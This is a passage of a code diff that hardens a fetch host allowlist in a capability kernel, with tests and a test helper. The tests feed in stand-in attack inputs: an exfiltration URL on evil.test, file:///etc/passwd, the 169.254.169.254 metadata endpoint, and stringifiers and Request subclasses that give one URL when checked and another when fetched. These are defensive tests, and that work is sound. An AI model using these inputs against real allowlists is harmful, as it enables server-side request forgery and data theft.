makeTwoFacedFetchInput( + 'https://example.test/decoy', + 'https://evil.test/exfil', + ).input, + ), + ).rejects.toThrow('resolved to a different URL when read again'); + expect(baseFetch).not.toHaveBeenCalled(); + }); + + it('still host-checks a stringifier that resolves consistently', async () => { + const { caveated, baseFetch } = makeExampleFetch(); + + await expect( + caveated( + makeTwoFacedFetchInput( + 'https://evil.test/exfil', + 'https://evil.test/exfil', + ).input, + ), + ).rejects.toThrow('Invalid host: evil.test'); + expect(baseFetch).not.toHaveBeenCalled(); + }); + + it('rejects a file: URL hidden behind a second read', async () => { + const { caveated, baseFetch } = makeExampleFetch(); + + await expect( + caveated( + makeTwoFacedFetchInput( + 'https://example.test/decoy', + 'file:///etc/passwd', + ).input, + ), + ).rejects.toThrow('resolved to a different URL when read again'); + expect(baseFetch).not.toHaveBeenCalled(); + }); + }); + + describe('redirects', () => { + const redirectTo = (location: string, status = 302): Response => + new Response('', { status, headers: { location } }); + + it('refuses a hop out of the allowlist, and never requests it', async () => { + const { caveated, baseFetch } = makeExampleFetch( + redirectTo('http://169.254.169.254/latest/meta-data/'), + new Response('credentials'), + ); + + await expect(caveated('https://example.test/start')).rejects.toThrow( + 'Invalid host: 169.254.169.254', + ); + expect(baseFetch).toHaveBeenCalledTimes(1); + }); + + it('follows a hop that stays inside the allowlist', async () => { + const { caveated, baseFetch } = makeExampleFetch( + redirectTo('https://example.test/landed'), + new Response('landed'), + ); + + const response = await caveated('https://example.test/start'); + + expect(await response.text()).toBe('landed'); + expect(response.redirected).toBe(true); + expect(baseFetch).toHaveBeenNthCalledWith( + 2, + 'https://example.test/landed', + { + method: 'GET', + body: null, + headers: expect.any(Headers), + signal: null, + redirect: 'manual', + integrity: '', + }, + ); + }); + + it('refuses a hop to a file: URL by naming the scheme', async () => { + const { caveated, baseFetch } = makeExampleFetch( + redirectTo('file:///etc/passwd'), + ); + + await expect(caveated('https://example.test/start')).rejects.toThrow( + /redirected to a file: URL, which a guarded fetch will not follow/u, + ); + expect(baseFetch).toHaveBeenCalledTimes(1); + }); + + it('checks the hop even when the vat asks fetch to follow', async () => { + const { caveated, baseFetch } = makeExampleFetch( + redirectTo('https://evil.test/exfil'), + new Response('exfiltrated'), + ); + + await expect( + caveated('https://example.test/start', { redirect: 'follow' }), + ).rejects.toThrow('Invalid host: evil.test'); + expect(baseFetch).toHaveBeenCalledTimes(1); + }); + + it.each(['manual', 'error'] as const)( + 'leaves the forbidden host uncontacted when the vat asks for redirect: %s', + async (redirect) => { + const { caveated, baseFetch } = makeExampleFetch( + redirectTo('https://evil.test/exfil'), + new Response('exfiltrated'), + ); + + // `error` throws and `manual` returns; either way nothing reaches the + // second hop. + await caveated('https://example.test/start', { redirect }).catch( + () => undefined, + ); + expect(baseFetch).toHaveBeenCalledTimes(1); + }, + ); + + it('checks the hop even when the vat’s Request asks fetch to follow', async () => { + const { caveated, baseFetch } = makeExampleFetch( + redirectTo('https://evil.test/exfil'), + new Response('exfiltrated'), + ); + + await expect( + caveated( + new Request('https://example.test/start', { redirect: 'follow' }), + ), + ).rejects.toThrow('Invalid host: evil.test'); + expect(baseFetch).toHaveBeenCalledTimes(1); + }); + }); + + it('rejects a Request subclass that overrides its url getter', async () => { + class SpoofedRequest extends Request { + override get url(): string { + return 'https://example.test/decoy'; + } + } + const { caveated, baseFetch } = makeExampleFetch(); + + await expect( + caveated(new SpoofedRequest('https://evil.test/exfil')), + ).rejects.toThrow('Invalid host: evil.test'); + expect(baseFetch).not.toHaveBeenCalled(); + }); }); diff --git a/packages/ocap-kernel/src/vats/network-caveat.ts b/packages/ocap-kernel/src/vats/network-caveat.ts index 9e3f0d283b..7127705e0d 100644 --- a/packages/ocap-kernel/src/vats/network-caveat.ts +++ b/packages/ocap-kernel/src/vats/network-caveat.ts @@ -1,16 +1,7 @@ -export type FetchCapability = typeof fetch; - -type FetchCaveat = (...args: Parameters) => Promise; +import { makeGuardedFetch } from '@metamask/kernel-utils'; +import type { FetchGuard } from '@metamask/kernel-utils'; -/** - * Resolve the target URL from a fetch input argument. Accepts the same input - * shapes as `fetch` itself (string, URL, or Request). - * - * @param arg - The input to resolve. - * @returns The resolved URL. - */ -export const resolveUrl = (arg: Parameters[0]): URL => - new URL(arg instanceof Request ? arg.url : arg); +export type FetchCapability = typeof fetch; /** * Build a caveat that rejects fetches whose hostname is not in @@ -27,9 +18,8 @@ export const resolveUrl = (arg: Parameters[0]): URL => * @param allowedHosts - The allowed hostnames. * @returns A caveat that restricts fetch to the allowed hostnames. */ -export const makeHostCaveat = (allowedHosts: string[]): FetchCaveat => { - return harden(async (...args: Parameters) => { - const { hostname, protocol } = resolveUrl(args[0]); +export const makeHostCaveat = (allowedHosts: string[]): FetchGuard => { + return harden(async ({ hostname, protocol }: URL) => { if (protocol === 'file:') { throw new Error( `fetch cannot target file:// URLs. Use the fs platform capability ` + @@ -43,20 +33,14 @@ export const makeHostCaveat = (allowedHosts: string[]): FetchCaveat => { }; /** - * Wrap a fetch capability so a caveat runs before every call. The caveat may - * throw to reject the request; a throw prevents the underlying fetch from - * being invoked. + * Wrap a fetch capability so a caveat runs before every request it makes — + * see {@link makeGuardedFetch} — rejecting the fetch if the caveat throws. * * @param baseFetch - The fetch capability to wrap. - * @param caveat - The caveat to apply before each call. + * @param caveat - The caveat to apply before each request. * @returns A fetch capability gated by the caveat. */ export const makeCaveatedFetch = ( baseFetch: FetchCapability, - caveat: FetchCaveat, -): FetchCapability => { - return harden(async (...args: Parameters) => { - await caveat(...args); - return await baseFetch(...args); - }); -}; + caveat: FetchGuard, +): FetchCapability => makeGuardedFetch({ baseFetch, guard: caveat }); diff --git a/packages/repo-tools/package.json b/packages/repo-tools/package.json index 4021469a9b..5c646cce94 100644 --- a/packages/repo-tools/package.json +++ b/packages/repo-tools/package.json @@ -18,6 +18,7 @@ "./test-utils": "./src/test-utils/index.ts", "./test-utils/extension": "./src/test-utils/extension.ts", "./test-utils/fetch-mock": "./src/test-utils/env/fetch-mock.ts", + "./test-utils/fetch-input": "./src/test-utils/fetch-input.ts", "./test-utils/mock-endoify": "./src/test-utils/env/mock-endoify.ts", "./test-utils/streams": "./src/test-utils/streams.ts", "./vite-plugins": "./src/vite-plugins/index.ts", diff --git a/packages/repo-tools/src/test-utils/fetch-input.ts b/packages/repo-tools/src/test-utils/fetch-input.ts new file mode 100644 index 0000000000..b7e4779c3f --- /dev/null +++ b/packages/repo-tools/src/test-utils/fetch-input.ts @@ -0,0 +1,26 @@ +/** + * The CWE-367 primitive from MetaMask/MetaMask-planning#7557: an input whose + * stringifier names one host when an allowlist reads it and another when + * `fetch` does. Pass the same value twice for a stringifier that is merely + * unusual rather than hostile. + * + * @param first - Reported on the first read. + * @param rest - Reported on every read thereafter. + * @returns The input, and a count of the reads its stringifier has served. + */ +export const makeTwoFacedFetchInput = ( + first: string, + rest: string, +): { input: RequestInfo | URL; getReads: () => number } => { + let reads = 0; + const input = { + toString: () => { + reads += 1; + return reads === 1 ? first : rest; + }, + }; + return { + input: input as unknown as RequestInfo | URL, + getReads: () => reads, + }; +}; diff --git a/packages/repo-tools/src/test-utils/index.ts b/packages/repo-tools/src/test-utils/index.ts index 1739508b2f..9c4aa1466d 100644 --- a/packages/repo-tools/src/test-utils/index.ts +++ b/packages/repo-tools/src/test-utils/index.ts @@ -2,6 +2,7 @@ export { delay } from './delay.ts'; export { makeErrorMatcherFactory } from './errors.ts'; export { makePromiseKitMock } from './promise-kit.ts'; export { fetchMock } from './env/fetch-mock.ts'; +export { makeTwoFacedFetchInput } from './fetch-input.ts'; export * from './env/mock-kernel.ts'; export { makeMockMessageTarget } from './postMessage.ts'; export { makeAbortSignalMock } from './abort-signal.ts';